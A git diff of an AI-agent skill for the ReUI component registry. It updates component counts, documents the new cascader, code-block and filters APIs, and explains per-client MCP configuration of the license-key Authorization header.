Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8524a25373 | ||
|
|
08c01b3cdd | ||
|
|
27c1ba7e23 | ||
|
|
19af67f8a3 | ||
|
|
8a8ea95da6 | ||
|
|
65434857bb | ||
|
|
3d4edbad8b | ||
|
|
28f1f35f16 | ||
|
|
0b426fa7ae | ||
|
|
98e4dcdefb | ||
|
|
0f7daf77e3 | ||
|
|
a0f0bff65a | ||
|
|
75661f7443 | ||
|
|
15b5cce8cc | ||
|
|
3dc8e6d5e2 | ||
|
|
7a3f1fad25 | ||
|
|
454c5009d1 | ||
|
|
40030ce06c | ||
|
|
45812fef6a |
@@ -1,19 +1,20 @@
|
|||||||
---
|
---
|
||||||
name: reui
|
name: reui
|
||||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 22 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||||
user-invocable: false
|
|
||||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||||
|
metadata:
|
||||||
|
user-invocable: "false"
|
||||||
---
|
---
|
||||||
|
|
||||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
> **ReUI skill version `d9f4a302f4`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||||
|
|
||||||
# ReUI for Agents
|
# ReUI for Agents
|
||||||
|
|
||||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||||
|
|
||||||
- **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
- **components** - the 22 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
- **blocks** - premium full-page sections that compose components (`data-grid-base-2`, `settings-2`); Pro or Ultimate license at install
|
||||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||||
|
|
||||||
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
||||||
@@ -58,7 +59,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
|||||||
|
|
||||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||||
- [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
|
- [rules/components.md](./rules/components.md) - the 22 components, the data-grid contract, base vs radix
|
||||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
## Registry setup (one-time, per project)
|
## Registry setup (one-time, per project)
|
||||||
|
|
||||||
Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
Free items (the 22 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
||||||
@@ -29,9 +29,16 @@ REUI_LICENSE_KEY=your-license-key
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`, but an MCP client config never expands variables, so a ReUI MCP server config must carry the raw token instead (for example `reui_pat_your_token_here`).
|
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`. MCP client configs expand environment variables too, but each client has its OWN syntax, so wire the ReUI MCP server with the form that client understands:
|
||||||
|
|
||||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry
|
- Claude Code (`.mcp.json`, `~/.claude.json`): `"Authorization": "Bearer ${REUI_LICENSE_KEY}"`
|
||||||
|
- Cursor (`.cursor/mcp.json`) and VS Code: `"Authorization": "Bearer ${env:REUI_LICENSE_KEY}"`
|
||||||
|
- OpenCode (`opencode.json`): `"Authorization": "Bearer {env:REUI_LICENSE_KEY}"`
|
||||||
|
- Codex (`~/.codex/config.toml`): `bearer_token_env_var = "REUI_LICENSE_KEY"` - Codex reads the variable itself, so there is no header to write
|
||||||
|
|
||||||
|
Only a client with no interpolation at all needs the raw `reui_pat_...` token, and then only in a file that is never committed. Copying the `components.json` form into a client that does not expand it is the common failure: the literal `${REUI_LICENSE_KEY}` placeholder is sent to the server as the credential and every call comes back 401.
|
||||||
|
|
||||||
|
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry?ref=skill
|
||||||
|
|
||||||
## Installing
|
## Installing
|
||||||
|
|
||||||
@@ -54,7 +61,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
|
|||||||
|
|
||||||
## Free vs premium boundary
|
## Free vs premium boundary
|
||||||
|
|
||||||
- Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
- Public, no key: `c-*` examples and the 22 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||||
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
||||||
|
|
||||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
|
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account?ref=skill (their key) or https://reui.io/pricing?ref=skill (upgrade).
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
# ReUI components
|
# ReUI components
|
||||||
|
|
||||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
The 22 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `code-block`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||||
|
|
||||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the deeper reference. Do not assume you received all of it: a very large API (`cascader`, `filters`, `data-grid`) is trimmed on heading boundaries to fit your context, and every dropped heading is named in `sectionsOmitted`, so a trimmed capsule is a partial read - follow the response's own `next` hint to pull back the part you need instead of guessing at it. `validate_usage` always checks the FULL API, trimmed capsule or not. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||||
|
|
||||||
## data-grid (the flagship - read its API every time)
|
## data-grid (the flagship - read its API every time)
|
||||||
|
|
||||||
@@ -106,22 +106,60 @@ Common mistakes:
|
|||||||
|
|
||||||
## filters
|
## filters
|
||||||
|
|
||||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||||
**Shape:**
|
**Shape:**
|
||||||
|
|
||||||
```tsx
|
```tsx
|
||||||
const [filters, setFilters] = useState<Filter[]>([
|
const fields: FilterField[] = [
|
||||||
createFilter("priority", "is_any_of", ["low"]),
|
{ id: "title", label: "Title", type: "text" },
|
||||||
])
|
{
|
||||||
const fields: FilterFieldConfig[] = [
|
id: "status",
|
||||||
{ key: "priority", label: "Priority", type: "multiselect",
|
label: "Status",
|
||||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
type: "select",
|
||||||
|
options: [
|
||||||
|
{ value: "active", label: "Active" },
|
||||||
|
{ value: "archived", label: "Archived" },
|
||||||
|
],
|
||||||
|
},
|
||||||
]
|
]
|
||||||
|
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||||
|
|
||||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||||
```
|
```
|
||||||
|
|
||||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||||
|
|
||||||
|
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||||
|
|
||||||
|
## cascader
|
||||||
|
|
||||||
|
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||||
|
**Shape:**
|
||||||
|
|
||||||
|
```tsx
|
||||||
|
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||||
|
<CascaderTrigger render={<Button variant="outline" />}>
|
||||||
|
<CascaderValue placeholder="Select an attribute" />
|
||||||
|
</CascaderTrigger>
|
||||||
|
<CascaderContent className="w-80">
|
||||||
|
<CascaderPanel>
|
||||||
|
<CascaderNav>
|
||||||
|
<CascaderBreadcrumb />
|
||||||
|
<CascaderInput />
|
||||||
|
</CascaderNav>
|
||||||
|
<CascaderEmpty />
|
||||||
|
<CascaderList maxHeight={288}>
|
||||||
|
<CascaderItems />
|
||||||
|
</CascaderList>
|
||||||
|
<CascaderStatus />
|
||||||
|
</CascaderPanel>
|
||||||
|
</CascaderContent>
|
||||||
|
</Cascader>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||||
|
|
||||||
|
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||||
|
|
||||||
## date-selector
|
## date-selector
|
||||||
|
|
||||||
@@ -324,6 +362,26 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
|
|||||||
|
|
||||||
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
||||||
|
|
||||||
|
## code-block
|
||||||
|
|
||||||
|
**Required:** `code` + `language`, or pre-highlighted `lines`.
|
||||||
|
**Shape:**
|
||||||
|
|
||||||
|
```tsx
|
||||||
|
<CodeBlock code={code} language="tsx" />
|
||||||
|
|
||||||
|
<CodeBlock code={code} language="tsx" showLineNumbers maxLines={20}>
|
||||||
|
<CodeBlockHeader>
|
||||||
|
<CodeBlockTitle>use-totals.ts</CodeBlockTitle>
|
||||||
|
<CodeBlockLanguage />
|
||||||
|
<CodeBlockCopyButton className="ml-auto" />
|
||||||
|
</CodeBlockHeader>
|
||||||
|
<CodeBlockExpandButton />
|
||||||
|
</CodeBlock>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Gotcha:** the one-liner is already a complete block; every child (header, title, language label, copy button, wrap toggle, expand button, line actions) is optional chrome, at any depth. Shiki is the only npm dependency and loads lazily, one chunk per language, on first highlight; `lines` (from `highlightCode` in `code-block-highlight`, which is server-safe and has no `"use client"`) or `highlight={false}` loads nothing at all. `maxLines` caps the height AND marks the block collapsible, which is what makes `CodeBlockExpandButton` appear. Use `variant="ghost"` when the block sits inside a surface that already has a border.
|
||||||
|
|
||||||
## alert
|
## alert
|
||||||
|
|
||||||
**Required:** `Alert` > `AlertTitle`
|
**Required:** `Alert` > `AlertTitle`
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ npx shadcn@latest add @reui/icons/default/<style>/<name> --yes # static
|
|||||||
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
||||||
```
|
```
|
||||||
|
|
||||||
Finding them via the MCP is free; installing requires an Ultimate license (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
Motion Icons need an Ultimate license for **both discovery and install** (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Without it `search_icons` comes back `locked` with no results and `search` returns no icons at all, so check the plan before you promise the user icons: on a free or Pro account, use the project's own `iconLibrary` instead. Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||||
|
|
||||||
Finding icons:
|
Finding icons:
|
||||||
|
|
||||||
|
|||||||
@@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
||||||
|
|
||||||
- **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
- **component** - one of the 22 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||||
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
||||||
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
- **block** - a premium, full-page section that composes several components (`data-grid-base-2`, `settings-2`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||||
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
||||||
|
|
||||||
## The @reui registry
|
## The @reui registry
|
||||||
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
|
|||||||
|
|
||||||
## Free vs premium
|
## Free vs premium
|
||||||
|
|
||||||
- **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
|
- **Free, no license key:** the 22 components, all `c-*` examples, and this skill. The MCP is free too but still needs a free ReUI account (the agent signs in on first use); a license key is only for premium installs.
|
||||||
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
||||||
|
|
||||||
## Component API index
|
## Component API index
|
||||||
|
|||||||
@@ -4,11 +4,11 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
|
|||||||
|
|
||||||
## 1. Find (ReUI MCP `search` / `compose_page`)
|
## 1. Find (ReUI MCP `search` / `compose_page`)
|
||||||
|
|
||||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); on a free account it answers `mode: "free"` and fills the same sections with free `c-*` examples instead, so the plan is always buildable. Sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||||
|
|
||||||
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
||||||
|
|
||||||
- `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
- `type`: `"component"` (one of the 22 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||||
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
||||||
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
||||||
|
|
||||||
@@ -16,7 +16,9 @@ Example: "build a users management page with filters" -> `search({ query: "users
|
|||||||
|
|
||||||
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
||||||
|
|
||||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick.
|
Results are scoped to the account's plan, so you are never shown an item the user could not install: blocks need Pro, Motion Icons need Ultimate. A `type` hint the plan cannot use (or a query whose only matches are premium) comes back as a normal HTTP 200 answer with `locked: true` and `requiredPlan` rather than results - that is a paywall, not a missing item, so switch to free components and `c-*` examples and mention https://reui.io/pricing?ref=skill.
|
||||||
|
|
||||||
|
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick. Where a result carries `thumbnail` (blocks and `c-*` examples), show the image itself as markdown linked to `previewUrl`, so the user sees the block before you install it.
|
||||||
|
|
||||||
## 2. Install (shadcn CLI)
|
## 2. Install (shadcn CLI)
|
||||||
|
|
||||||
@@ -32,7 +34,7 @@ The CLI reads `components.json`, installs the correct base+style variant, resolv
|
|||||||
|
|
||||||
Before writing code against any component an item uses:
|
Before writing code against any component an item uses:
|
||||||
|
|
||||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the full API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the deeper API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. A very large API is trimmed on heading boundaries to fit your context and lists what it dropped in `sectionsOmitted`; when the part you need is in that list, re-read it as the response's `next` hint says rather than guessing. `validate_usage` always checks the FULL API, so it still catches a prop you invented from a trimmed capsule. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||||
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
||||||
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
||||||
|
|
||||||
|
|||||||
@@ -16,15 +16,15 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
|||||||
|
|
||||||
## The 5 task-specific tools (when to reach for each)
|
## The 5 task-specific tools (when to reach for each)
|
||||||
|
|
||||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). On a free account (or in free-only mode) it answers with `mode: "free"` and composes the same sections from free `c-*` examples instead, so the plan is always buildable. Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant.
|
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant. Motion Icons are Ultimate for **discovery as well as install**: without an Ultimate credential this returns `locked: true` and zero concepts, so check the plan before promising the user icons.
|
||||||
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
||||||
- **`whats_new`** - when your registry knowledge might be stale (a name 404s, the user mentions an item you don't know). Returns items added/removed per build, newest first.
|
